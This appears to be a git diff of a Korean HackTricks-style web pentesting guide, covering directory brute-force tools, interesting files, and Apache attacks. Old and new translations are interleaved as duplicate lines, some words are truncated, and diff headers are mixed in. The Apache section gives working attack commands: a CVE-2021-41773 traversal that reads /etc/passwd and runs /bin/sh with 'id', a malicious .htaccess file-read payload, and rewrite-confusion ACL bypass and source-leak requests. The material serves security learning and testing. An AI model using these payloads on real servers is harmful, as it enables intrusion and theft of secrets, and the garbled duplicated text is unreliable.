- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript 소스 코드에서 URL, 경로, 비밀 및 기타 흥미로운 데이터를 추출하는 Go 패키지이자 [명령 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): 요청에서 파라미터와 엔드포인트를 추출하여 fuzzing과 열거를 위한 커스텀 워드리스트를 만드는 간단한 **Burp Suite extension**입니다.
- [**katana**](https://github.com/projectdiscovery/katana) (go): 이 작업에 적합한 훌륭한 도구입니다.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine에서 링크를 발견하고 (wayback에 있는 응답을 다운로드하며 더 많은 링크를 찾습니다)
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 폼을 채워서까지 크롤링하고 특정 정규식으로 민감한 정보를 찾습니다.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): 사이버 보안 전문가를 위해 설계된 고급 멀티 기능 GUI 웹 보안 크롤러/스파이더입니다.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript 소스 코드에서 URL, 경로, 비밀 및 기타 흥미로운 데이터를 추출하는 Go 패키지이자 [명령 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): 요청에서 파라미터와 엔드포인트를 추출해 fuzzing 및 열거에 사용할 커스텀 워드리스트를 생성하는 단순한 **Burp Suite extension**입니다.
- [**katana**](https://github.com/projectdiscovery/katana) (go): 이 작업에 아주 유용한 도구입니다.
- [**Crawley**](https://github.com/s0rg/crawley) (go): 찾을 수 있는 모든 링크를 출력합니다.
### Brute Force directories and files
루트 폴더에서 **brute-forcing**을 시작하고 이 **방법(this method)**으로 찾은 모든 **디렉토리**와 **Spidering**으로 발견된 모든 디렉토리를 반드시 brute-force 하세요(이 작업은 **재귀적으로(recursively)** 수행할 수 있으며, 사용한 워드리스트의 앞부분에 발견한 디렉토리 이름을 추가해서 실행할 수 있습니다).\
루트 폴더에서 **brute-forcing**을 시작하고, 이 **방법**으로 찾은 모든 **디렉터리**와 **Spidering**으로 발견한 모든 디렉터리를 반드시 brute-force하세요(발견된 디렉터리 이름을 사용 중인 워드리스트 앞부분에 추가하여 **재귀적**으로 brute-forcing 할 수 있습니다).\
도구:
- **Dirb** / **Dirbuster** - Kali에 포함되어 있으며 **오래된(old)** (그리고 **느린(slow)**) 도구이지만 동작합니다. 자동 서명된 인증서 허용 및 재귀 검색을 지원합니다. 다른 옵션들에 비해 너무 느립니다.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 자동 서명된 인증서를 허용하지 않지만** 재귀 검색을 지원합니다.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 자 서명된 인증서를 허용하며, **재귀(recursive)** 검색은 **지원하지 않습니다**.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 빠르, 재귀 검색을 지원합니다.**
- **Dirb** / **Dirbuster** - Kali에 포함되어 있으며, **오래된**(그리고 **느린**) 도구지만 동작합니다. 자체 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션에 비해 너무 느립니다.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 자체 서명된 인증서는 허용하지 않지만** 재귀 검색을 지원합니다.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 자 서명된 인증서를 허용하며, **재귀** 검색은 **지원하지 않습니다**.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 빠르, 재귀 검색을 지원합니다.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- 빠름: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): 발견된 URL 목록을 받아 "중복" URL을 제거하는 도구입니다.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp 히스토리에서 여러 페이지의 디렉토리 목록을 만드는 Burp Extension입니다.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js 임포트를 기반으로 중복 기능을 가진 URL을 제거합니다.
- [**Chamaleon**](https://github.com/iustin24/chameleon): wapalyzer를 사용해 사용된 기술을 감지하고 사용할 워드리스트를 선택합니다.
- [**uro**](https://github.com/s0md3v/uro) (python): 중복된 URL을 제거하는 도구로, 발견된 URL 목록을 입력하면 중복 URL을 제거합니다.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp 기록에서 여러 페이지의 디렉터리 목록을 생성하는 Burp Extension입니다.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js import 기반으로 기능이 중복된 URL을 제거합니다.
- [**Chamaleon**](https://github.com/iustin24/chameleon): wapalyzer를 사용해 사용 기술을 감지하고 적절한 워드리스트를 선택합니다.
**추천 사전(Recommended dictionaries):**
**Recommended dictionaries:**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@ -268,41 +268,41 @@ Information about SSL/TLS vulnerabilities:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_참고: brute-forcing이나 spidering 중에 새로운 디렉토리가 발견되면 언제든지 해당 디렉토리는 Brute-Force 해야 합니다._
_새 디렉터리가 brute-forcing이나 spidering 중에 발견되면, 언제나 해당 디렉터리는 Brute-Force 해야 합니다._
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML 내부의 끊어진 링크를 찾아 takeover에 취약한지 확인합니다.
- **File Backups**: 모든 파일을 찾은 뒤에는 실행 파일들의 백업("_.php_", "_.aspx_"...)을 찾아보세요. 백업 파일 이름의 일반적인 변형으로는 _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp, file.old_ 등이 있습니다. 또한 도구 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**을 사용할 수 있습니다.**
- **Discover new parameters**: [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner)를 사용해 숨겨진 파라미터를 발견할 수 있습니다. 가능하다면 각 실행 가능한 웹 파일에서 숨겨진 파라미터를 검색해 보세요.
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML 내의 깨진 링크를 찾아 takeover 가능성을 탐지합니다.
- **File Backups**: 모든 파일을 찾은 후, 실행 가능한 파일의 백업 파일을 찾아보세요 ("_.php_", "_.aspx_" 등). 백업 이름의 일반적인 변형은: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ 도구 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**을 사용할 수 있습니다.**
- **Discover new parameters**: 숨겨진 파라미터를 발견하기 위해 [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner)를 사용할 수 있습니다. 가능하다면 각 실행 가능한 웹 파일에서 숨겨진 파라미터를 찾아보세요.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** 모든 파일의 주석을 확인하세요. 주석에서 **credentials** 또는 **숨겨진 기능(hidden functionality)**을 찾을 수 있습니다.
- 만약 **CTF**를 진행하고 있다면, 흔한 트릭으로 페이지 소스 오른쪽에 수백 개의 공백을 넣어(브라우저로 소스 열 때 보이지 않게) 주석에 정보를 **숨기는** 방법이나 여러 줄을 추가해 페이지 하단 주석에 정보를 숨기는 방식이 있습니다.
- **API keys**: API 키를 발견하면 다양한 플랫폼의 API 키 사용 방법을 알려주는 가이드들이 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: 만약 **AIza**로 시작하는 API 키를 찾으면 프로젝트 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)를 사용해 해당 키로 어떤 API에 접근 가능한지 확인할 수 있습니다.
- **S3 Buckets**: spidering 중에 어떤 **subdomain**이나 **link**가 S3 버킷과 관련되어 있는지 확인하세요. 그런 경우 [**버킷 권한을 확인**](buckets/index.html)하세요.
- **Comments:** 모든 파일의 주석을 확인하세요. 종종 **credentials**나 **hidden functionality**가 발견됩니다.
- CTF를 진행하는 경우, 흔한 트릭은 페이지 소스의 오른쪽에 수백 개의 공백을 넣어 브라우저로 소스 코드만 열면 보이지 않게 하거나 여러 개의 줄바꿈을 넣고 페이지 하단의 주석에 정보를 숨기는 것입니다.
- **API keys**: API 키를 찾으면 다양한 플랫폼의 API 키 사용 방법을 안내하는 프로젝트들이 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: **AIza**로 시작하는 키처럼 보이는 API 키를 찾으면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용해 해당 키가 접근 가능한 API를 확인할 수 있습니다.
- **S3 Buckets**: spidering 중에 어떤 **subdomain**이나 **link**가 S3 버킷과 관련이 있는지 확인하세요. 그런 경우, [**check** the **permissions** of the bucket](buckets/index.html).
### Special findings
**spidering**과 **brute-forcing**을 수행하는 동안 주목해야 할 **흥미로운** **사항들**을 발견할 수 있습니다.
**spidering**과 **brute-forcing**을 수행하면서 주목해야 할 **흥미로운** **사항들**을 발견할 수 있습니다.
**Interesting files**
- **CSS** 파일 안의 다른 파일로의 **링크**를 찾아보세요.
- [_**.git**_ 파일을 찾으면 일부 정보를 추출할 수 있습니다](git.md)
- _**.env**_ 파일을 찾으면 API 키, DB 비밀번호 및 기타 정보를 얻을 수 있습니다.
- **API endpoints**를 찾으면 [반드시 테스트하세요](web-api-pentesting.md). 이들은 파일이 아니지만 파일처럼 보일 가능성이 높습니다.
- **JS files**: spidering 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구를 언급했습니다. 또한 일부 경우에는 발견된 JS 파일을 모니터링하는 것이 흥미로울 수 있습니다. 코드 변경이 잠재적 취약점의 도입을 나타낼 수 있기 때문입니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.**
- 발견된 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 확인해 취약점이 있는지 검사해야 합니다.
- CSS 파일에서 다른 파일로의 **links**를 찾아보세요.
- [If you find a _**.git**_ file some information can be extracted](git.md)
- _**.env**_ 파일을 찾으면 API 키, DB 비밀번호 등과 같은 정보가 발견될 수 있습니다.
- **API endpoints**를 찾으면 [should also test them](web-api-pentesting.md). 이들은 파일은 아니지만 파일처럼 보일 수 있습니다.
- **JS files**: spidering 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구를 언급했습니다. 또한 발견된 JS 파일을 모니터링하는 것이 흥미로울 수 있습니다. 경우에 따라 코드 변경은 잠재적 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)을 사용할 수 있습니다.
- 발견된 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 점검해 취약한 라이브러리가 있는지 확인하세요.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- 여러 경우에 정규식을 이해해야 할 필요가 있습니다. 다음 리소스들이 유용합니다: [https://regex101.com/](https://regex101.com) 또는 [https://pythonium.net/regex](https://pythonium.net/regex)
- 폼이 감지된 파일들은 변경 사항을 모니터링하는 것도 좋습니다. 파라미터 변경이나 새로운 폼의 등장 등이 잠재적 취약 기능의 신호일 수 있습니다.
- 여러 경우에 정규식을 이해해야 할 필요가 있습니다. 다음 사이트가 유용합니다: [https://regex101.com/](https://regex101.com) 또는 [https://pythonium.net/regex](https://pythonium.net/regex)
- 또한 폼이 감지된 파일들을 모니터링하세요. 파라미터의 변경이나 새 폼의 등장은 잠재적 취약 기능이 추가되었음을 나타낼 수 있습니다.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -313,21 +313,21 @@ _참고: brute-forcing이나 spidering 중에 새로운 디렉토리가 발견
**502 Proxy Error**
어떤 페이지가 이 **코드**로 응답하면 잘못 구성된 프록시일 가능성이 큽니다. 만약 다음과 같은 HTTP 요청을 보낸다면: `GET https://google.com HTTP/1.1` (Host 헤더와 다른 일반 헤더들을 포함), 프록시는 _**google.com**_에 접근하려 시도하고 이로써 SSRF를 발견할 수 있습니다.
어떤 페이지가 이 코드로 응답하면 잘못 구성된 프록시일 가능성이 큽니다. **`GET https://google.com HTTP/1.1`** 같은 HTTP 요청을 보내면(Host 헤더 및 다른 일반 헤더 포함), 프록시는 _**google.com**_에 접근을 시도하고 SSRF를 발견할 수 있습니다.
**NTLM Authentication - Info disclosure**
인증을 요구하는 서버가 **Windows**이거나 도메인 이름을 묻는 로그인 프롬프트를 찾으면 정보 노출을 유발할 수 있습니다.\
헤더를 다음과 같이 전송하세요: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그러면 NTLM 인증 방식 때문에 서버는 "WWW-Authenticate" 헤더 안에 내부 정보(IIS 버전, Windows 버전 등)를 응답할 것입니다.\
과정을 자동화하려면 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용할 수 있습니다.
실행 중인 서버가 **Windows**를 요구하거나 로그인에서 **domain** **name**을 요구하는 경우 정보 노출을 유도할 수 있습니다.\
다음 헤더를 전송하세요: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그러면 NTLM 인증 방식 때문에 서버는 "WWW-Authenticate" 헤더 안에 내부 정보(IIS 버전, Windows 버전 등)를 반환합니다.\
를 자동화하려면 nmap 플러그인 "_http-ntlm-info.nse_"를 사용할 수 있습니다.
**HTTP Redirect (CTF)**
다이렉션 안에 콘텐츠를 넣을 수 있습니다. 이 콘텐츠는 브라우저가 리다이렉션을 실행하기 때문에 사용자에게 표시되지는 않지만 그 안에 무언가를 **숨길** 수 있습니다.
디렉션 내에 콘텐츠를 넣을 수 있습니다. 이 콘텐츠는 브라우저가 리디렉션을 수행하기 때문에 사용자에게는 표시되지 않지만, 그 안에 무언가를 숨길 수 있습니다.
### Web Vulnerabilities Checking
웹 애플리케이션의 포괄적 열거가 완료되었으면 이제 많은 가능한 취약점을 확인할 차례입니다. 체크리스트는 다음에서 확인하세요:
웹 애플리케이션에 대한 포괄적인 열거가 완료되었으면 이제 가능한 많은 취약점을 점검할 시간입니다. 체크리스트는 다음에서 찾을 수 있습니다:
{{#ref}}
@ -342,7 +342,7 @@ _참고: brute-forcing이나 spidering 중에 새로운 디렉토리가 발견
### Monitor Pages for changes
페이지 변경 사항을 모니터링하려면 [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) 같은 도구를 사용해 취약점을 삽입할 수 있는 수정 사항을 감지하세요.
페이지 변경 사항을 모니터링하여 취약점이 삽입되었는지 확인하려면 [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)와 같은 도구를 사용할 수 있습니다.
### HackTricks Automatic Commands
```

View File

@ -4,11 +4,11 @@
## Executable PHP extensions
Apache 서버에서 어떤 확장(extensions)이 실행되고 있는지 확인합니다. 검색하려면 다음을 실행하세요:
실행 중인 Apache 서버에서 어떤 PHP 확장이 동작하는지 확인하세요. 확인하려면 다음 명령을 실행할 수 있습니다:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
또한, 이 구성을 찾을 수 있는 몇몇 위치는 다음과 같습니다:
또한, 이 구성을 찾을 수 있는 위치는 다음과 같습니다:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
@ -16,19 +16,44 @@ grep -R -B1 "httpd-php" /etc/apache2
/etc/apache2/mods-enabled/php7.3.conf
```
## CVE-2021-41773
CVE-2021-41773는 Apache HTTP Server 2.4.49에서 발견된 path traversal 및 file disclosure 취약점으로, 공격자가 URL을 document root 밖의 파일로 매핑하여 민감한 파일을 읽을 수 있게 합니다. 이 취약점은 잘못된 경로 정규화로 인해 발생합니다.
영향받는 버전
- Apache HTTP Server 2.4.49: 취약
- 이후 릴리스에서는 수정이 시도되었으나 2.4.50에서 다른 취약점(CVE-2021-42013)이 발생하여 결국 2.4.51에서 완전 수정됨
- 권장: 2.4.51 이상으로 업데이트
탐지 / PoC 예시
- 단순한 테스트로 /etc/passwd 같은 파일을 요청해 파일 노출이 가능한지 확인할 수 있습니다. 예:
```
curl -v "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
```
- 실제 서버 구성에 따라 경로 인코딩 방식과 대상 경로가 달라질 수 있으므로 다양한 변형(../, %2e%2e%2f 등)을 시도해보세요.
영향 및 악용
- 주로 file disclosure(예: /etc/passwd, 설정 파일 등)가 가능하며, 특정 구성에서는 추가적인 악용으로 이어질 수 있습니다. (참고: 2.4.50에서의 후속 문제로 RCE가 발생할 수 있었음)
완화 및 대응
- 가장 확실한 해결책은 Apache를 2.4.51 이상으로 업데이트하는 것
- 임시 완화책: 불필요한 mod_cgi/mod_cgid, mod_proxy 등 모듈 비활성화 또는 CGI 디렉터리 접근 제한, 외부에서의 접근 차단 등
- 관련 로그를 점검하여 의심스러운 요청(인코딩된 ../ 시도 등)을 탐지하고 차단 규칙 적용
참고
- CVE-2021-41773는 file disclosure에 관련된 취약점이며, 동일 기간에 보고된 CVE-2021-42013은 RCE로 이어진 별도의 문제입니다. 두 이슈 모두 최신 패치로 해결되었습니다.
```bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
## LFI via .htaccess ErrorDocument file provider (ap_expr)
## .htaccess ErrorDocument file provider (ap_expr)를 이용한 LFI
디렉터리의 .htaccess를 제어할 수 있고 해당 경로에 대해 AllowOverride가 FileInfo를 포함하면, ErrorDocument 안에서 ap_expr의 file() 함수를 사용해 404 응답을 임의의 로컬 파일 읽기로 바꿀 수 있습니다.
디렉토리의 .htaccess를 제어할 수 있고 해당 경로에 대해 AllowOverride에 FileInfo가 포함되어 있다면, ErrorDocument 안에서 ap_expr의 file() 함수를 사용하여 404 응답을 임의의 로컬 파일 읽기로 바꿀 수 있습니다.
- 요구 사항:
- Apache 2.4에서 expression parser (ap_expr)가 활성화되어 있어야 합니다(2.4의 기본값).
- Apache 2.4에서 expression parser (ap_expr)가 활성화되어 있어야 합니다 (2.4에서는 기본값).
- vhost/dir는 .htaccess가 ErrorDocument를 설정할 수 있도록 허용해야 합니다 (AllowOverride FileInfo).
- Apache worker 사용자가 대상 파일을 읽을 수 있는 권한을 가져야 합니다.
- Apache worker user는 대상 파일에 대해 읽기 권한이 있어야 합니다.
.htaccess payload:
```apache
@ -37,17 +62,17 @@ Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
```
해당 디렉터리 아래의 존재하지 않는 경로를 요청하면 트리거됩니다. 예를 들어 userdir-style hosting을 악용할 때:
해당 디렉터리 아래의 존재하지 않는 경로를 요청하면 트리거됩니다. 예: userdir-style hosting을 악용할 때:
```bash
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
```
노트 및 팁:
- 절대 경로만 작동합니다. 콘텐츠는 404 핸들러의 응답 본문으로 반환됩니다.
- 실제 읽기 권한은 Apache 사용자(일반적으로 www-data/apache)의 권한입니다. 기본 설정에서는 /root/* 또는 /etc/shadow를 읽을 수 없습니다.
- 설령 .htaccess가 root 소유여도, 상위 디렉터리가 테넌트 소유이고 이름 변경을 허용하면 원래 .htaccess의 이름을 바꾸고 SFTP/FTP로 자신의 대체 파일을 업로드할 수 있습니다:
- .htaccess가 root 소유일지라도, 상위 디렉터리가 테넌트 소유이고 이름 변경을 허용하면 원본 .htaccess의 이름을 변경하고 SFTP/FTP를 통해 교체 파일을 업로드할 수 있습니다:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- 이를 사용해 DocumentRoot 또는 vhost 구성 경로 아래의 애플리케이션 소스에서 비밀(DB creds, API keys 등)을 수집할 수 있습니다.
- 이를 이용해 DocumentRoot 또는 vhost config 경로 아래의 애플리케이션 소스에서 비밀(DB creds, API keys, etc.)을 수집할 수 있습니다.
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
@ -76,7 +101,7 @@ curl http://server/user/orange%2Fsecret.yml%3F
```
- **오도하는 RewriteFlag 할당**
다음 rewrite rule에서는 URL이 .php로 끝나는 한 해당 URL은 php로 취급되어 실행됩니다. 따라서 경로에 다른 유형의 파일(예: 이미지)을 로드하면서 `?` 문자 뒤에 .php로 끝나는 URL을 전송해 그 파일 안에 악성 php 코드를 포함시킬 수 있습니다:
다음 rewrite 규칙에서는 URL이 .php로 끝나는 한 해당 요청은 php로 처리되고 실행됩니다. 따라서 경로에는 다른 유형의 파일(예: 이미지)을 로드하면서 `?` 문자 뒤에 .php로 끝나는 URL을 보낼 수 있으며, 그 파일 안에 악성 php 코드를 넣을 수 있습니다:
```bash
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
@ -91,7 +116,7 @@ curl http://server/upload/1.gif%3fooo.php
```
#### **ACL Bypass**
다음과 같은 설정 하에서 액세스가 거부되어야 함에도 불구하고 사용자가 접근해서는 안 되는 파일에 접근할 수 있다:
다음과 같은 구성에서 접근이 거부되어야 하더라도 사용자가 접근해서는 안 되는 파일에 접근할 수 있다:
```xml
<Files "admin.php">
AuthType Basic
@ -100,20 +125,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
기본적으로 PHP-FPM이 `.php`로 끝나는 URL(예: `http://server/admin.php%3Fooo.php`)을 수신하, PHP-FPM이 문자 `?` 이후의 모든 것을 제거하기 때문에, 앞의 URL은 이전 규칙이 이를 금지했더라도 `/admin.php`를 로드할 수 있게 다.
것은 기본적으로 PHP-FPM이 `.php`로 끝나는 URL(예: `http://server/admin.php%3Fooo.php`)을 수신하, PHP-FPM이 문자 `?` 이후의 모든 것을 제거하기 때문에, 앞의 URL은 이전 규칙이 금지했더라도 `/admin.php`를 로드할 수 있게 되기 때문입니다.
### DocumentRoot 혼동
```bash
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
Apache에 대한 흥미로운 사실은 앞서의 rewrite가 documentRoot와 root 둘 다에서 파일에 접근하려고 시도한다는 것입니다. 따라서 `https://server/abouth.html`에 대한 요청은 파일 시스템에서 `/var/www/html/about.html``/about.html`을 확인합니다. 이는 기본적으로 파일 시스템의 파일에 접근하는 데 악용될 수 있습니다.
Apache에 대한 흥미로운 사실은, 이전 rewrite가 파일을 documentRoot와 root 둘 다에서 접근하려 한다는 것이다. 따라서 `https://server/abouth.html`에 대한 요청은 파일 시스템에서 `/var/www/html/about.html``/about.html`을(를) 확인한다. 이는 기본적으로 파일 시스템의 파일에 접근하는 데 악용될 수 있다.
#### **서버 측 소스 코드 노출**
- **CGI 소스 코드 노출**
끝에 %3F를 추가하기만 해도 cgi 모듈의 소스 코드를 leak할 수 있습니다:
끝에 %3F를 추가하는 것만으로 cgi module의 소스 코드를 leak할 수 있다:
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
@ -123,9 +148,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# ...
# # the source code of download.cgi
```
- **PHP Source Code 공개**
- **PHP 소스 코드 노출**
서버에 서로 다른 도메인이 있고 그 중 하나가 정적 도메인인 경우, 이는 파일 시스템을 횡단하여 php 코드를 leak하는 데 악용될 수 있습니다:
서버에 서로 다른 도메인이 있고 그 중 하나가 정적 도메인인 경우, 이를 악용해 파일 시스템을 횡단하여 php 코드를 leak할 수 있습니다:
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
@ -133,52 +158,52 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
```
#### **Local Gadgets Manipulation**
이전 공격의 주요 문제는 기본적으로 대부분의 파일 시스템 접근이 Apache HTTP Servers [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115)에서와 같이 거부된다는 점입니다:
이전 공격의 주요 문제는 기본적으로 대부분의 파일시스템 접근이 Apache HTTP Servers [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115)에서처럼 거부된다는 점이다:
```xml
<Directory />
AllowOverride None
Require all denied
</Directory>
```
하지만 [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) 운영체제는 기본적으로 `/usr/share`를 허용합니다:
그러나 [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) 운영 체제는 기본적으로 `/usr/share`를 허용합니다:
```xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
```
따라서 이러한 배포판에서는 **`/usr/share` 내부에 위치한 파일을 악용할 수 있습니다.**
Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.**
**Local Gadget to Information Disclosure**
- **Apache HTTP Server**와 **websocketd**는 **/usr/share/doc/websocketd/examples/php/**에 있는 **dump-env.php** 스크립트를 노출할 수 있으며, 이는 민감한 환경 변수를 leak할 수 있습니다.
- **Nginx** 또는 **Jetty**를 사용하는 서버는 기본 웹 루트가 **/usr/share** 아래에 배치되어 있어 민감한 웹 애플리케이션 정보를 노출할 수 있습니다(예: **web.xml**):
- **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables.
- Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**:
- **/usr/share/nginx/html/**
- **/usr/share/jetty9/etc/**
- **/usr/share/jetty9/webapps/**
**Local Gadget to XSS**
- **LibreOffice가 설치된 Ubuntu Desktop**에서는 도움말 파일의 언어 전환 기능을 악용하여 **Cross-Site Scripting (XSS)**으로 이어질 수 있습니다. **/usr/share/libreoffice/help/help.html**의 URL을 조작하면 **unsafe RewriteRule**을 통해 악성 페이지나 오래된 버전으로 리다이렉트될 수 있습니다.
- On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**.
**Local Gadget to LFI**
- PHP 또는 **JpGraph**, **jQuery-jFeed** 같은 일부 프론트엔드 패키지가 설치된 경우, 해당 파일들을 이용해 **/etc/passwd** 같은 민감한 파일을 읽을 수 있습니다:
- If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**:
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
- **/usr/share/javascript/jquery-jfeed/proxy.php**
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
**Local Gadget to SSRF**
